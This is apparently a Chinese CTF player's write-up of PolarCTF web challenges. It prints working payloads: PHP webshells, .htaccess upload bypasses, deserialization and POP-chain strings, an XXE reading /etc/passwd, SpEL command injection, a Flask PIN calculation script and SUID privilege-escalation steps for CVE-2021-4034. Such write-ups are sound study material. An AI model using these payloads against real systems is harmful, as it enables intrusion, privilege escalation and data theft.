"; } else { echo "Welcome to the CTF challenge! Use /?host=YOUR_HOST to play."; } if (isset($_GET['debug'])) { highlight_file(FILE); } ?>

带个 debug 参就可以看到源码

if (isset($_GET['host'])) {
    $host = $_GET['host'];
    // 存在命令注入漏洞的代码
    $command = "ping -c 1 " . $host;
    $output = shell_exec($command);
    echo "<pre>$output</pre>";
} else {
    echo "Welcome to the CTF challenge! Use /?host=YOUR_HOST to play.";
}

if (isset($_GET['debug'])) {
    highlight_file(__FILE__);
}
?>

靠,那个是真 flag,非预期了

传马-文件上传

没啥过滤,传马改后缀就行

笑傲上传-文件上传

文件上传部分跟上面一样,传完之后 f12 看路径,然后 include.php 包含一下即可

序列一下-简单反序列化

<?php
 
class Polar{
    public $url = 'polarctf.com';
    public $lt;
    public $b;
     
     function  __destruct()
     {
        $a = $this->lt;
 
        $a($this->b);
     }
}
unserialize($_POST['x']);
highlight_file(__FILE__);
 
 
?>

简单反序列化

<?php
class Polar{
    public $lt;
    public $b;
}

$p = new Polar();
$p->lt = "system";
$p->b = 'cat /f*';
$payload = serialize($p);
echo urlencode($payload);

?>
//O%3A5%3A%22Polar%22%3A2%3A%7Bs%3A2%3A%22lt%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22b%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7D

坏掉的上传页-文件上传 信息泄露

看表单试试自己构造一下请求

<form class="form">
        <div id="upload_panel">

            <h3>图片资源上传系统</h3>
            <p>上传你的图片到服务器</p>

            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                <p>请选择要上传的图片:
                <p>
                <div class="file-upload">
                    <button>浏览...</button>未选择文件
                </div>
                <input class="button" type="button" name="submit" value="上传" />
                 

            </form>

    </form>

发现表单完全没有文件上传的参数信息

有 config.php 的泄露

<?php
error_reporting(0);
show_source(__FILE__);
define("DB_FILE", UPLOAD_PATH . "database.db"); 
?>

有 database,但是文件怎么传

看了一下 wp,确实是手动构造,但是这里的 name 参数题目根本没给,wp 也没具体说明,只能试出来

构造请求如下

**POST** / **HTTP/1.1**
**Host**: d3aa7962-5788-43b3-981e-f28e4f225712.www.polarctf.com:8090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Upgrade-In**secure-Requests**: 1
**User-Agent**: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
**Content-Type**: **multipart/form-data; boundary=----WebKitFormBoundaryBjhuWaVCGxuXjAfA**
**Content-Length**: 326

------WebKitFormBoundaryBjhuWaVCGxuXjAfA
Content-Disposition: form-data; name="file"; filename="aa.php"
Content-Type: image/jpeg

GIF89a
<?php @eval($_POST[0]); ?>
------WebKitFormBoundaryBjhuWaVCGxuXjAfA
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundaryBjhuWaVCGxuXjAfA--

提示上传文件记录到数据库,访问一下有路径,直接连即可 flag 在主目录

xxmmll-xxe

看这题目应该是 xxe

看响应头有 xxmmll.php

然后随便打个 xxe 即可

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>

Note-信息泄露 反序列化

看题目名称 note 应该是个参数,应该是 ssti 好吧不是

提示调试日志,去看 debug.log

[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Remember to validate user input.
[DEBUG] Potential file path manipulation in Note class.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.

提到了 Note 类和反序列化,以及 Filename 的默认值为 logs.txt

这里的反序列化应该是 data 传参

但是尝试构造了一下不知道怎么访问 flag

看了 wp 发现参数是 GET 方法。。。 而且这里的类参数是 filename,F 不大写,属性是 private

全部符合后即可打出 flag

这也要纯试啊。。要是没有非预期当时做得出来吗

非预期:flag.txt 直接泄露了

赌王

摇什么?摇出来三个一样的也没给提示啊

扫了一下目录没有别的信息,那就继续摇摇看,我这里直接抓包 fuzz 了

访问没有这个目录捏

居然是 ed3d2c21991e3bef5e069713af9fa6ca.php。。

是一个比大小,永远比我大 1

直接整型溢出会有“出现错误,系统值应该大于输入值。” 没别的了,,

用数组破坏一下试试 可行 e744f91c29ec99f0e662c9177946c627

输入 ip,f12 可以看到提示

输入 1.1.1.1 提示权限不足

所以这个 ip 应该是说我们的 ip?

xff 头伪造一下 1.1.1.1 发现可以 ping 了,正常命令执行即可

这题有点意思

困难

java 题没做其它都做了

上传-文件上传 .htaccess php_value

上传.htaccess 解析 jpg

文件内容过滤了 <?,php 版本不支持 script 头绕过,看 wp 可以利用 utf16 绕过

研究了一下不知道怎么做 utf16 的 webshell

发现一种用 base64 解码文件的方法

SetHandler application/x-httpd-php
php_value auto_prepend_fi\
le "php://filter/convert.base64-decode/resource=b64.jpg"

上传一个 base64 编码的图片一句话马即可,访问时是正常文本,但是蚁剑可以连接

这里用反斜杠加回车的原因是过滤了 file 关键字

这又是一个上传-suid 提权 godzilla CVE-2021-4034

上传 webshell 抓包改后缀后即可蚁剑连接

但是没有权限读取 flag

查找具有 suid 权限的命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

比较奇怪的是这个 pkexec

查询发现可以提权 https://gtfobins.github.io/gtfobins/pkexec/

存在 CVE-2021-4034

这里试了很多命令都没办法提权,看了 wp 知道要用到网上的 poc,同时这里蚁剑连接的终端 tty 不完整要使用哥斯拉的 super terminal 其实也就是蚁剑这个是伪终端

下载一下哥斯拉工具

利用漏洞 exp

结果遇到了哥斯拉的缩放问题,jar 文件没有兼容性标签,可以直接去更改 java.exe 和 javaw.exe 的缩放

哥斯拉生成马进入,传入 exp,进入 superterminal

依次运行

make
./cve-2024-4034

提权成功

superterminal 和普通终端的区别在哪,这里挖一个坑,打游戏去了

网上没有现成的资料,不过我的理解是 superterminal 应该更接近本地终端,直接连马的可能是仿的终端

网站被黑-文件包含

这道题用作 yakit 使用练习

使用目录扫描插件只能查出 index.php

扫描机票上的条码得到 10394

不太放心还是 dirsearch 一下,果然发现了一些东西,yakit 插件的字典还是不适用于 ctf

有一个空的 flag.php,还有 style 和 img 文件夹,不过都没什么用

抓包发现 response 中有 hint

F5XDAXZQNZSV6ZRRNZSF63JTF4======
/n0_0ne_f1nd_m3/ //base32

访问进去是代码审计

<?php
error_reporting(0);

$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag|data|base|write|input/i",$file)){
        echo "I am sorry but no way!";
        exit(); 
    }else{
        include($file);  //imposible.php
    }
}
else{
    highlight_file(__FILE__);
}
?>
?text=data:text/plain,welcome%20to%20the%20504sys
&file=php://filter/read=string.rot13/resource=imposible.php

synt{s46os8522o91s67n02o81s9522s3q80o}

rot13 解密即可

感觉 yakit 确实功能上会多一点,但是 bp 在面对这些简单场景要更清晰顺手

flask_pin-flask 框架 pin 计算

进入 file 页面传入 filename 没反应

sqlmap 也注入不出来,无法判断到底有没有注入点

试一下伪协议

?filename=data:text/plain,test

确实是没有回显

突然想起来是 flask,用个毛线伪协议。。。可以读 app.py

# -*- coding: utf-8 -*- 
import pdb from flask import Flask, request 
app = Flask(__name__) 
@app.route("/") 
def hello(): 
    return Hello['a'] 
@app.route("/file") 
def file(): 
    filename = request.args.get('filename') 
try: 
with open(filename, 'r') as f: 
    return f.read() 
except: 
    return '不试试filename参数么?' 
if __name__ == "__main__": 
app.run(host="0.0.0.0", port=8080, debug=True)

扫一下目录,发现 console 页面,需要 pin 解锁

好像这个 pin 是可以计算的

pin 码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd 进行猜测
2.modname 默认 flask.app
3.appname 默认 Flask
4.moddir flask 库下 app.py 的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac 地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成 pin 码不对就是这错了

官方是通过系统命令获取相对应的值,我们采用读文件获取值后放到脚本(也就是官方加密的方法)里进行加密,3.6 采用 MD5 加密,3.8 采用 sha1 加密,所以脚本稍有不同

这里的 python 版本是 3.5

脚本如下:

import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485376917497',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'c31eea55a29431535ff01de94bdcf5cfb04033292c49b538cbe9d8bb2f233a861d19052d67718030892d11bffc76a626'# get_machine_id(), /etc/machine-id+/proc/self/cgroup
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
import hashlib
from itertools import chain
probably_public_bits = [
    'root'  # username 可通过/etc/passwd获取
    'flask.app',  # modname默认值
    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
]

private_bits = [
    '2485376917497',  # /sys/class/net/eth0/address mac地址十进制
    '4a2d0d27-a82c-449e-8d64-539d8a6bef69b04033292c49b538cbe9d8bb2f233a861d19052d67718030892d11bffc76a626'

    # 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id   /proc/self/cgroup
    # 有machine-id 那就拼接machine-id + /proc/self/cgroup(要读docker)  否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

生成 pin 后进入,调用 os.popen 进行命令执行

veryphp-正则匹配

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}
^:匹配字符串的起始位置,这意味着匹配必须从字符串的第一个字符开始。
\-:匹配一个连字符 -。由于连字符在正则里有特殊用途,所以要用反斜杠 \ 转义。
[a-e]:匹配单个字符,该字符需是 a 到 e 之间的任意一个字母。
[^a-zA-Z0-8]:匹配单个字符,但这个字符不能是字母(大小写均可)或者数字 0 到 8。
<b>:匹配字符串 <b>。
(.*):这是一个捕获组,.* 表示匹配任意数量(零个或多个)的任意字符。捕获组会把匹配到的内容保存起来,方便后续引用。
>{4}:匹配连续的四个右尖括号 >。
\D*?:\D 代表匹配非数字字符,* 表示匹配零个或多个,? 使匹配变成非贪婪模式,也就是尽可能少地匹配字符。
(abc.*?):这是另一个捕获组,匹配以 abc 开头,后面跟着任意数量(零个或多个)任意字符的字符串,同样采用非贪婪模式。
p(hp)*:匹配以 p 开头,后面跟着零个或多个 hp 组合的字符串。
\@:匹配一个 @ 符号,由于 @ 是普通字符,所以无需转义。
R(s|r):匹配 Rs 或者 Rr。(s|r) 是一个选择结构,意味着匹配 s 或者 r。
.:匹配任意单个字符。
$:匹配字符串的结束位置,表明匹配必须到字符串的最后一个字符结束。

-a@<b>ctf>>>>aabc1phphphp@Rsa

变量名的下划线可以用左方括号绕过

shaw[root=-a@<b>ctf>>>>aabc1phphphp@Rsa

用 hackbar 一直发不对,本地测试是没问题的,用 yakit 发包

不知道为什么这里一直发不出来,去找 wp 里面的字符串也不行

测试了一下发现怎么把所有符号都给过滤了???

然后才知道 hackbar 和 yakit 发包都会 url 编码

yakit 解决办法:在右键的数据包变形选项中将方法变为 POST,这样就能正常发包了

hint 如下

Here is a hint : 
md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

直接爆破即可

用 Yakit fuzz 数据太多了,而筛选数据很麻烦,用 bp 很慢

还是写脚本爆破吧。。

最后爆破出来时 21475,然后再 myans 调用 qwq 类的 oao 函数即可

突然 yakit 发包也变得很慢,我服了,可能是两个交叉用出了什么端口之类的问题。。。

毒鸡汤-文件包含目录穿越

扫目录发现 hint.txt

刚上线的经典语录小程序,不知道能不能成功运行,有点紧张。
希望大家手下留情不要捅娄子来,呜呜。

公司电脑拿不回家,咱就偷懒把源码打了个包放网站根目录了。
重要文件flag放系统根目录了,反正环境干净也没有马,肯定没人能看到里面写的啥吧。

可以下载到源码 www.zip

<?php
error_reporting(0);
$f='dutang.txt';   //文件名
$a=file($f);  //把文件的所有内容获取到数组里面
$n=count($a); //获得总行数
$rnd=rand(0,$n);    //产生随机行号
$rnd_line=$a[$rnd]; //获得随机行
$tit = date('m 月 d 日')." - ShawRoot";
?>
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">

    <title>毒鸡汤 - 壮士可要来一碗!</title>
    <meta name="description" content="我们精心熬制了有屎以来最毒1000多条经典毒鸡汤,句句“治愈”人心! 只为了帮你更好的看清人生认识自己,直面现实,直面惨淡的人生,不给你励志,不给你慰藉,像一根鞭猛的抽你一下,使你清醒,知道这个世界和你自己最真实的一面,是青少年手机里的必备宝典。">
    <meta name="keywords" content="鸡汤,毒鸡汤,馊鸡汤">
    <meta http-equiv="Cache-Control" content="no-siteapp">
    <meta name="author" content="Admin@jljcxy.cn" />
    <meta property="og:title" content="毒鸡汤" />
    <meta property="og:url" content="https://shawroot.cc//" />
    <meta property="og:image" content="icon.png" />
    <meta property="og:site_name" content="毒鸡汤" />
    <meta property="og:description" content="我们精心熬制了有屎以来最毒1000多条经典毒鸡汤,句句“治愈”人心! 只为了帮你更好的看清人生认识自己,直面现实,直面惨淡的人生,不给你励志,不给你慰藉,像一根鞭猛的抽你一下,使你清醒,知道这个世界和你自己最真实的一面,是青少年手机里的必备宝典。"/>
    <link rel="icon" href="/favicon.ico" type="image/x-icon" id="page_favionc">
    <link href="./img/min.css" rel="stylesheet">
    <link rel="alternate icon" type="image/png" href="icon.png">

</head>
<body>
<div class="top-wrap" style="position: absolute; top: 1vh;width: 100%;z-index: 999"> 
<div class="container">
    <div class="row" style="margin-top: 30px;">
        <div class="col">
          <img src="./img/logo.png">
        </div>
        <div class="col">
           <div class="float-right" style="padding-top: 0px;">
              <a class="btn btn-primary btn-filled btn-xs" href="./yulu.php" >社会语录</a>
              <a class="btn btn-primary btn-filled btn-xs" href="./dog.php" >舔狗日记</a>
              <a class="btn btn-primary btn-filled btn-xs" href="https://shawroot.cc" >博客(与题无关)</a>
           </div>
        </div>
       </div>
</div>
</div>

<div class="main-wrapper" style="position: relative; top: -6vh;">
<div class="container main-sentence justify-content-center text-center">    
        <div class="wrapper">            
       <span id="text" style="font-size: 2rem;"><?=$rnd_line;?></span>
        <textarea id="input">hacked by shawroot</textarea>
        </div><br>
        <button class="btn btn-primary" onclick="copyText()">点我复制</button>
</div>
</div>

<div class="foot-1" style="position: absolute; bottom: 7vh;width: 100%;">
    <div class="container">
       <div class="row">
          <div class="col text-center">
                <span class="btn btn-primary btn-filled btn-xs"><a class="btn btn-primary btn-filled btn-xs" href="javascript:location.reload()" >再来一碗</a></span>
        </div>
       </div>
       </div>
 <footer>
 <p class="text-center">© 2020 肖根 All rights reserved</p>
</footer>
</div>

<style type="text/css">
  .wrapper {position: relative;}
  #input {position: absolute;top: 0;left: 0;opacity: 0;z-index: -10;}
</style>

<script type="text/javascript">
  function copyText() {
   var text = document.getElementById("text").innerText;
   var input = document.getElementById("input");
   input.value = text; // 修改文本框的内容
   input.select(); // 选中文本
   document.execCommand("copy"); // 执行浏览器复制命令
   alert("复制成功");
  }
 </script>
<?php 
$filename = $_GET['readfile'];
if ($filename){
    include($filename); 
}
?>
</body>
</html>

存在文件包含

?readfile=../../../../flag

upload tutu-md5 强比较

上传一个.htaccess 和 jpg 马显示 MD5 hashes do not match!

扫目录看看有没有源码

并没有

上传两个一样的文件显示 files are not different

那应该是要构造两个不一样的文件进行 hash 碰撞

用 md5 强碰撞的思路做就可以

看看源码

对文件的 md5 只与文件内容有关

Unserialize_Escape-字符串逃逸

<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function filter($string){
    return preg_replace('/x/', 'yy', $string);
}

$username = $_POST['username'];

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
    echo file_get_contents('flag.php');
}

反序列化的字符串逃逸

目标字符串

a:2:{i:0;s:8:"username";i:1;s:6:"123456";}

Payload:

username=xxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}1

自由的文件上传系统-文件包含

上传文件会被“润色”,会被更名,没办法使用 htaccess

尝试了一下?会被替换为!

扫目录发现 git 源码泄露,但是 hack 不下来

访问一下看看也没发现什么

应该就是在文件上传入手

script 绕过不行,F12 发现是注入成功的,应该是 php 文件都被解析成文本了

抓包会发现对文件大小进行了限制,没法通过回溯机制绕过正则匹配

主页有个小房子按钮,按了之后会进入一个相同的页面,但是 url 处存在文件包含

用伪协议读 upload.php 读不到,可以包含之前上传的 script php 头马

<script language="php">@eval($_POST[cmd]);</script>

蚁剑连接即可 /sectet_include.php?file=upload/filename

连接之后发现访问不到 flag 文件 f1ag_1s_h3R3_And_You_W1LL_n3v3R_F1nd

那就再写个马去访问

<script language="php">system("cat /f1ag_1s_h3R3_And_You_W1LL_n3v3R_F1nd");</script>

ezjava-SPEL 注入

第一次做 java 题,跟着 wp 做:

题目附件给了 jar 包,可以用 idea 打开所在文件夹,然后右键 jar 包添加到库

com.example.demo.controllerspel 类中存在 spel 表达式注入

@RestController
@RequestMapping({"/SPEL"})
public class spel {
    public spel() {
    }

    @RequestMapping({"/vul"})
    public String spelVul(String ex) {
        ExpressionParser parser = new SpelExpressionParser();
        EvaluationContext evaluationContext = new StandardEvaluationContext();
        String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
        System.out.println(result);
        return result;
    }
}

应该是一个 spring 框架存在的漏洞

  • @RequestMapping({"/vul"}):这个注解为 spelVul 方法设置了具体的请求映射路径。结合类级别的 @RequestMapping,该方法将处理 /SPEL/vul 路径的请求。
  • public String spelVul(String ex):定义了一个名为 spelVul 的公共方法,它接收一个字符串类型的参数 ex,这个参数就是客户端传递的 SpEL 表达式。
  • ExpressionParser parser = new SpelExpressionParser();:创建了一个 SpelExpressionParser 对象,它是 Spring 提供的用于解析 SpEL 表达式的解析器。
  • EvaluationContext evaluationContext = new StandardEvaluationContext();:创建了一个 StandardEvaluationContext 对象,它是 SpEL 表达式执行的上下文环境。
  • parser.parseExpression(ex):调用解析器的 parseExpression 方法,将客户端传递的表达式字符串 ex 解析为一个 Expression 对象。
  • .getValue(evaluationContext):在指定的上下文环境 evaluationContext 中执行解析后的表达式,并返回表达式的计算结果。
  • .toString():将计算结果转换为字符串类型。

如何注入:

访问/SPEL/vul 页面,get 传参 ex 即可

?ex=new java.lang.ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start()

这题无回显,通过别的方式外带 flag

?ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start().getInputStream(),"gbk")).readLine()

?ex=new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec("cat /app/flag.txt").getInputStream(),"gbk")).readLine()

我的 hackbar 传不进去,抓包传就可以了

苦海-POP 链

<?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

if (isset($_GET['user'])) {
    unserialize($_GET['user']);
} else {
    $hi = new  User();
    highlight_file(__FILE__);
}

反序列化 pop 链

FileRobot.Get_file
FileRobot.__invoke
FileRobot.__get
Surrender.__toString
User.__wakeup
O:4:"User":1:{s:4:"name";O:9:"Surrender":1:{s:4:"file";a:1:{s:8:"filename";O:9:"FileRobot":2:{s:8:"filename";s:8:"flag.php";s:4:"path";O:9:"FileRobot":2:{s:8:"filename";s:8:"flag.php";s:4:"path";N;}}}}}

读不到 flag.php,奇怪

O:4:"User":1:{s:4:"name";O:9:"Surrender":1:{s:4:"file";a:1:{s:8:"filename";O:9:"FileRobot":2:{s:8:"filename";s:11:"../flag.php";s:4:"path";O:9:"FileRobot":2:{s:8:"filename";s:11:"../flag.php";s:4:"path";N;}}}}}
//PD9waHAgDQoJJGZsYWcgPSAnZmxhZ3s2M2RkMGU5ZmJhZGQ2NjM1NDJhMmY4ZWExY2NjNjc2NX0nOw0KCT8+

居然在上一个目录。。。

你想逃也逃不掉-字符串逃逸(减少)

<?php
/*
    https://ytyyds.github.io/ (与本题无关)
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = $_POST['name'];
$user['passwd'] = $_GET['passwd'];
$user['sign'] = '123456';

$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
    echo file_get_contents('flag.php');
}

反序列化的字符串逃逸

Payload:

?passwd=";s:6:"passwd";s:6:"ytyyds";s:4:"sign";s:6:"ytyyds";}
POST: name=phtmlphtmlphp3php3gif

我真得问候一下这些把 flag 注释掉放在源码里的人,我还以为我做错了

safe_include-session 文件包含

<?php 
show_source(__FILE__); 
@session_start();

ini_set('open_basedir', '/var/www/html/:/tmp/'); 

$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
    $sys = $_GET['xxs'];
}

@include $sys;

$_SESSION['xxs'] = $sys;

session 文件包含 2

先带 session 传入一句话木马,然后访问/tmp/sess_test 即可得到 flag

也可以传 eval 蚁剑连接,但是要注意当我们访问时 session 文件会被替换为我们访问的内容,因此要用蚁剑的话传入一句话木马之后要直接连接,不要访问确认(这是在 wp 中看到的,没有实操验证)

phar-php 反序列化

<?php
include 'funs.php';
highlight_file(__FILE__);
if (isset($_GET['file'])) {
    if (myWaf($_GET['file'])) {
        include($_GET['file']);
    } else {
        unserialize($_GET['data']);
    }
}

先尝试用伪协议读一下 funs.php

<?php
include 'f1@g.php';
function myWaf($data)
{
    if (preg_match("/f1@g/i", $data)) {
        echo "NONONONON0!";
        return FALSE;
    } else {
        return TRUE;
    }
}

class A
{
    private $a;

    public function __destruct()
    {
        echo "A->" . $this->a . "destruct!";
    }
}

class B
{
    private $b = array();
    public function __toString()
    {
        $str_array= $this->b;
        $str2 = $str_array['kfc']->vm50;
        return "Crazy Thursday".$str2;
    }
}
class C{
    private $c = array();
    public function __get($kfc){
        global $flag;
        $f = $this->c[$kfc];
        var_dump($$f);
    }
}

通过反序列化读 f1@g

C.__get
B.__toString
A.__destruct
$c = new C();
$c->c = array("vm50" => "f1@g");
$b = new B();
$b->b = array("kfc"=>$c);
$a = new A();
$a->a = $b;
$payload = serialize($a);

要注意这里 waf 不通过才会反序列化

?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

CB 链-java CB

CB 链的利用在 CC2 的基础上

大概理解 CB 部分的原理,但是构造 poc 需要 cc 部分的基础,先放着下次做完 CC 再回来看

PHP_Deserialization-POP 链

<?php

/*

PolarD&N CTF

*/

class Polar
{
    public $night;
    public $night_arg;

    public function __wakeup()
    {
        echo "hacker";
        $this->night->hacker($this->night_arg);
    }

}

class Night
{
    public function __call($name, $arguments)
    {
        echo "wrong call:" . $name . "  arg:" . $arguments[0];
    }
}

class Day
{
    public $filename="/flag";

    public function __toString()
    {
        $this->filename = str_replace("flag", "", $this->filename);
        echo file_get_contents($this->filename);
        return $this->filename;
    }
}

if (isset($_POST['polar'])) {
    unserialize(base64_decode($_POST['polar']));
} else {
    highlight_file(__FILE__);
}

POP 链

Day.__toString <- Night.__call <- Polar.__wakeup

这里放一个 magic method 方便以后来看

这里居然纠结了很久怎么绕过 waf,一直在想能用什么伪协议,其实双写就可以

$day = new Day();
$day->filename = "/flflagag";
$night = new Night();
$polar = new Polar();
$polar->night = $night;
$polar->night_arg = $day;

$payload = serialize($polar);
echo $payload."<br>";
echo base64_encode(serialize($polar))."<br>";
/*
O:5:"Polar":2:{s:5:"night";O:5:"Night":0:{}s:9:"night_arg";O:3:"Day":1:{s:8:"filename";s:9:"/flflagag";}}
Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319

PolarOA-java shiro

弱口令登录

username=admin&password=admin123

登录之后发现 url 带 jsessionid,然后就不知道怎么入手

看了 wp,发现是一道 java 题,考察 shiro 反序列化

如何判断:抓登录包发现响应头中有 remenberMe 字段

Java 题就暂时放一放,后面找时间系统从 CC 开始学

后面好像还有好几道 fast json,一写一个不吱声

坦诚相见-rce base64 重定向符绕过 内联执行

可以命令执行,但是不能访问别的目录

可以读 waf

<?php
 function containsPathTraversal($input) {
 $patterns = [
 '/\.\.\//', 
 '/\/\//', 
 '/\%2e\%2e\//', 
 '/\%2E\%2E\\/', 
